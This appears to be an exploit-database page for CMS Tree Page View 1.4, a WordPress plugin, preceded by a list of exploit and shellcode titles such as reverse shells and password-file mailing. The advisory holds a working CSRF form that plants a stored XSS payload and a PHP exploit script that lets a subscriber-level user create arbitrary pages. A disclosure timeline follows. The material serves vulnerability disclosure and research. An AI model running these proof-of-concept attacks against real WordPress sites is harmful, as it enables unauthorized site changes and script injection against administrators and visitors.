a7ddd8282b
28 changes to exploits/shellcodes Multiple CPUs - Information Leak Using Speculative Execution Microsoft Edge Chakra JIT - 'Lowerer::LowerSetConcatStrMultiItem' Missing Integer Overflow Check Jungo Windriver 12.5.1 - Privilege Escalation DiskBoss Enterprise 8.8.16 - Buffer Overflow HPE iMC - dbman RestoreDBase Unauthenticated Remote Command Execution (Metasploit) HPE iMC - dbman RestartDB Unauthenticated Remote Command Execution (Metasploit) Synology Photostation 6.7.2-3429 - Remote Code Execution (Metasploit) Worpress Plugin Service Finder Booking < 3.2 - Local File Disclosure Muviko 1.1 - SQL Injection WordPress Plugin Events Calendar - 'event_id' SQL Injection WordPress Plugin Social Media Widget by Acurax 3.2.5 - Cross-Site Request Forgery WordPress Plugin CMS Tree Page View 1.4 - Cross-Site Request Forgery / Privilege Escalation WordPress Plugin Admin Menu Tree Page View 2.6.9 - Cross-Site Request Forgery / Privilege Escalation WordPress Plugin WordPress Download Manager 2.9.60 - Cross-Site Request Forgery Joomla! Component Easydiscuss < 4.0.21 - Cross-Site Scripting BSD/x86 - Bind TCP Shell (31337/TCP) + setuid(0) Shellcode (94 bytes) BSD/x86 - setuid(0) + Bind TCP Shell (31337/TCP) Shellcode (94 bytes) BSD/x86 - execve /bin/cat /etc/master.passwd | mail [email] Shellcode (92 bytes) BSD/x86 - Reverse TCP Shell (192.168.1.69:6969/TCP) Shellcode (129 bytes) BSD/x86 - execve(/bin/cat /etc/master.passwd) | mail root@localhost Shellcode (92 bytes) FreeBSD/x86 - Reverse TCP Shell (192.168.1.69:6969/TCP) Shellcode (129 bytes) BSD/x86 - Bind TCP Shell (31337/TCP) + Fork Shellcode (111 bytes) FreeBSD/x86 - Bind TCP Shell (31337/TCP) + Fork Shellcode (111 bytes) Linux/x86 - execve /bin/dash Shellcode (30 bytes) Alpha - /bin/sh Shellcode (80 bytes) Alpha - execve() Shellcode (112 bytes) Alpha - setuid() Shellcode (156 bytes) BSD/x86 - setreuid(geteuid()_ geteuid()) + execve(_/bin/sh_) Shellcode (36 bytes) Linux/x86 - execve(/bin/sh) Polymorphic Shellcode (53 bytes)
109 lines
No EOL
3.4 KiB
Text
109 lines
No EOL
3.4 KiB
Text
* Exploit Title: CMS Tree Page View [CSRF, Privilege Escalation]
|
||
* Discovery Date: 2017-12-12
|
||
* Exploit Author: Panagiotis Vagenas
|
||
* Author Link: https://twitter.com/panVagenas
|
||
* Vendor Homepage: http://eskapism.se/
|
||
* Software Link: https://wordpress.org/plugins/cms-tree-page-view
|
||
* Version: 1.4
|
||
* Tested on: WordPress 4.8.1
|
||
* Category: WebApps, WordPress
|
||
|
||
|
||
Description
|
||
-----------
|
||
|
||
Plugin implements AJAX action `cms_tpv_add_page` which calls back the
|
||
function `cms_tpv_add_page`. The later does not implement any anti-CSRF
|
||
controls or security checks.
|
||
|
||
Leveraging a CSRF attack an attacker could perform a Persistent XSS
|
||
attack if the victim has administrative rights (see PoC).
|
||
|
||
The AJAX action is a privileged one so it's only available for
|
||
registered users. Even so it doesn't implement any capabilities checks
|
||
so it's available to all users no matter the access level. This could
|
||
allow any registered user to create arbitrary posts no matter the access
|
||
level.
|
||
|
||
PoC
|
||
---
|
||
|
||
### CSRF -> Persistent XSS
|
||
|
||
In this PoC we exploit the `$_POST["page_titles"]` param to perform a
|
||
Persistent XSS attack.
|
||
|
||
```
|
||
<pre class="lang:html decode:true "><form method="post" action="http://wp-plugin-csrf.dev/wp-admin/admin-ajax.php">
|
||
<input type="hidden" name="action" value="cms_tpv_add_page">
|
||
<input type="text" name="type" value="after">
|
||
<input type="text" name="pageID" value="1">
|
||
<input type="text" name="post_type" value="page">
|
||
<input type="text" name="page_title" value="<script>alert(2)</script>">
|
||
<button type="submit" value="Submit">Submit</button>
|
||
</form>
|
||
|
||
```
|
||
|
||
### Create Arbitrary Posts
|
||
|
||
In this PoC we use a user with subscriber access to create arbitrary
|
||
pages. The post\_type is user defined so in the same manner we could
|
||
create any post type.
|
||
|
||
```
|
||
#!/usr/bin/env php
|
||
<?php
|
||
/*******************************************************************************
|
||
* CMS Tree Page View [Privilege Escalation]
|
||
*
|
||
* To install deps run `composer require wordfence/exkit`.
|
||
*
|
||
* @author Panagiotis Vagenas <pan.vagenas@gmail.com>
|
||
* @date 2017-08-09
|
||
******************************************************************************/
|
||
|
||
require_once __DIR__ . '/vendor/autoload.php';
|
||
|
||
use Wordfence\ExKit\Cli;
|
||
use Wordfence\ExKit\Config;
|
||
use Wordfence\ExKit\Endpoint;
|
||
use Wordfence\ExKit\ExitCodes;
|
||
use Wordfence\ExKit\WPAuthentication;
|
||
|
||
Config::get( 'url.base', null, true, 'Enter the site URL' )
|
||
|| ExitCodes::exitWithFailedPrecondition( 'You must enter a valid URL' );
|
||
|
||
$s = new \Wordfence\ExKit\Session( null, [], [], [ 'timeout' => 60 ] );
|
||
|
||
Cli::writeInfo( 'Logging in as subscriber...' );
|
||
|
||
WPAuthentication::logInAsUserRole( $s,
|
||
WPAuthentication::USER_ROLE_SUBSCRIBER );
|
||
|
||
Cli::writeInfo( 'Sending payload...' );
|
||
|
||
$postData = [
|
||
'action' => 'cms_tpv_add_page',
|
||
'type' => 'after',
|
||
'pageID' => '1',
|
||
'post_type' => 'page',
|
||
'page_title' => date('Y-m-d H:i:s'),
|
||
];
|
||
|
||
$r = $s->post( Endpoint::adminAjaxURL(), [], $postData);
|
||
|
||
if(!$r->success || $r->body == '0'){
|
||
ExitCodes::exitWithFailed('Failed to retrieve a valid response');
|
||
}
|
||
|
||
ExitCodes::exitWithSuccess('Exploitation successful');
|
||
|
||
```
|
||
|
||
Timeline
|
||
--------
|
||
|
||
1. **2017-12-12**: Discovered
|
||
2. **2017-12-23**: Vendor notified by email
|
||
3. **2018-01-06**: Patch released |